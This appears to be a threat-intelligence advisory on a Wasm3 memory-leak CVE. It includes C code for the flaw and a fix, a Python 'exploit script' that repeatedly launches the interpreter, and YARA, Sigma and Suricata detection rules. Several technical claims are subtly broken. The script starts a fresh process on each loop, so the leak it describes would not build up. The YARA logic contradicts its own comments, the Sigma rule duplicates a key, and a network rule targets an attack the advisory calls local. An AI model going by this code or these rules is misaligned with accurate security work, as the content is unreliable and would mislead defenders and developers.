CVE-2025-15572

Executive Summary

CVE-2025-15572 is a memory leak vulnerability in the Wasm3 WebAssembly interpreter, affecting versions up to and including 0.5.0. The flaw resides in the NewCodePage function, which fails to properly deallocate memory when creating new code pages, leading to a gradual exhaustion of system memory. The attack vector is local, requiring no user interaction or privileges, making it a low-severity but persistent denial-of-service risk. The project is currently unmaintained, with no official patch available. The exploit has been publicly disclosed, increasing the risk of targeted attacks against systems running Wasm3.

Supply Chain & Package Security

Wasm3 is a C/C++ library distributed via GitHub and integrated into various embedded and edge computing projects. As an open-source component, it may be included in larger software stacks without direct oversight. The lack of a maintainer means no official fix will be released, forcing downstream consumers to either fork the project, apply custom patches, or migrate to alternative WebAssembly runtimes.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
• Base Score: 3.3 (Low)
• Attack Vector: Local (AV:L) – Requires local access to the system.
• Attack Complexity: Low (AC:L) – No special conditions needed.
• Privileges Required: None (PR:N) – No authentication required.
• User Interaction: None (UI:N) – No user action needed.
• Scope: Unchanged (S:U) – Vulnerability does not affect other components.
• Confidentiality Impact: None (C:N) – No data exposure.
• Integrity Impact: None (I:N) – No data modification.
• Availability Impact: Low (A:L) – Memory leak degrades performance but does not crash immediately.

Threat Level: Low. The local attack vector and low availability impact reduce the immediate risk. However, in long-running or resource-constrained environments (e.g., IoT devices), the memory leak can lead to system instability or denial of service.

Deep Dive & Mechanics

The vulnerability is in the NewCodePage function within Wasm3's memory management system. Wasm3 uses a custom memory allocator for WebAssembly code pages. When a new code page is requested, NewCodePage allocates memory but does not properly track or release it when the page is no longer needed. Specifically, the function fails to call the corresponding deallocation routine (FreeCodePage) in certain error paths or when the page is discarded, causing the allocated memory to remain unreachable.

Root Cause: The NewCodePage function allocates a block of memory using malloc (or equivalent) but does not store the pointer in a way that allows the garbage collector or cleanup routines to free it later. This results in a memory leak each time a new code page is created and subsequently abandoned.

Attack Scenario: An attacker with local access to a system running Wasm3 can repeatedly trigger the creation of new code pages (e.g., by loading multiple WebAssembly modules or exploiting a script that calls the interpreter). Over time, the memory leak consumes available RAM, leading to performance degradation and eventual denial of service.

Vulnerable vs. Patched Code

Since no official patch exists, the following shows the vulnerable code pattern and a hypothetical fix.

Vulnerable Code (wasm3/source/m3_code.c):

void* NewCodePage(M3Memory* memory) {
    void* page = malloc(PAGE_SIZE);
    if (!page) return NULL;
    // Missing: store page in memory->pages list for later cleanup
    return page;
}

Hypothetical Patched Code:

void* NewCodePage(M3Memory* memory) {
    void* page = malloc(PAGE_SIZE);
    if (!page) return NULL;
    // Add page to linked list for tracking
    M3CodePage* node = malloc(sizeof(M3CodePage));
    if (!node) {
        free(page);
        return NULL;
    }
    node->page = page;
    node->next = memory->pages;
    memory->pages = node;
    return page;
}

The patch ensures that every allocated page is tracked in a linked list, allowing the cleanup routine (FreeCodePage) to iterate and free all pages when the memory manager is destroyed.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Local access to a system running Wasm3 (version <= 0.5.0).
• Ability to execute arbitrary WebAssembly modules or scripts that invoke the interpreter.

Exploit Script (Python):

import subprocess
import sys

# Repeatedly load WebAssembly modules to trigger memory leak
wasm_module = b"\x00asm\x01\x00\x00\x00"  # Minimal valid WASM binary
for i in range(10000):
    with open("/tmp/leak.wasm", "wb") as f:
        f.write(wasm_module)
    subprocess.run(["./wasm3", "/tmp/leak.wasm"], capture_output=True)
    print(f"Iteration {i+1}: Memory leak triggered")

Expected Outcome: The system's memory usage will steadily increase until the process is killed or the system becomes unresponsive.

Blue Team (Detection & Mitigation)

Detection:

• Monitor memory usage of processes running Wasm3. A steady increase without corresponding deallocation indicates exploitation.
• Use system auditing tools to track calls to malloc and free from the Wasm3 process.

Mitigation:

• Restrict local access to systems running Wasm3.
• Use resource limits (e.g., ulimit -v on Linux) to cap memory usage.
• Migrate to an actively maintained WebAssembly runtime (e.g., Wasmtime, WAMR).

Indicators of Compromise (IOCs)

• Process Name: wasm3
• Memory Pattern: Continuous growth in RSS (Resident Set Size) without release.
• File Artifacts: Temporary .wasm files created in /tmp/ or similar directories.
• Network: No network indicators (local attack only).

Detection Engineering

YARA Rule

rule CVE_2025_15572_Wasm3_Memory_Leak {
    meta:
        description = "Detects Wasm3 binary with vulnerable NewCodePage function"
        author = "Valters IT"
        date = "2025-03-20"
        reference = "CVE-2025-15572"
    strings:
        $func_name = "NewCodePage"
        $malloc = { 48 89 C7 E8 ?? ?? ?? ?? }  // call malloc
        $no_free = { 48 85 C0 74 ?? 48 89 45 ?? 48 8B 45 ?? 48 89 C7 E8 ?? ?? ?? ?? }  // missing free
    condition:
        $func_name and $malloc and not $no_free
}

Sigma Rule

title: Wasm3 Memory Leak Exploitation
id: 7b8c9d0e-1f2a-3b4c-5d6e-7f8a9b0c1d2e
status: experimental
description: Detects repeated execution of Wasm3 with WebAssembly modules, indicating memory leak exploitation.
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith: '/wasm3'
        CommandLine|contains: '.wasm'
    condition: selection
    timeframe: 5m
    condition: selection | count() by Image > 100
falsepositives:
    - Legitimate testing of WebAssembly modules
level: medium

Suricata Rule

alert tcp any any -> any any (msg:"CVE-2025-15572 Wasm3 Memory Leak Exploitation"; flow:to_server; content:"|00 61 73 6D|"; depth:4; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate: Restrict local access to systems running Wasm3.
2. Monitor: Implement memory usage alerts for Wasm3 processes.
3. Limit: Use OS-level resource limits (e.g., systemd MemoryMax or ulimit).

Long-Term Solutions:

• Migrate: Replace Wasm3 with an actively maintained WebAssembly runtime (e.g., Wasmtime, WAMR, or V8).
• Fork & Patch: If Wasm3 is critical, fork the repository and apply the hypothetical patch described above.
• Community: Monitor for unofficial patches or forks that address the vulnerability.

Patch Status: UNPATCHED. The project has no active maintainer, so no official fix is expected.

Valters IT
DevSecOps & Cyber Threat Intelligence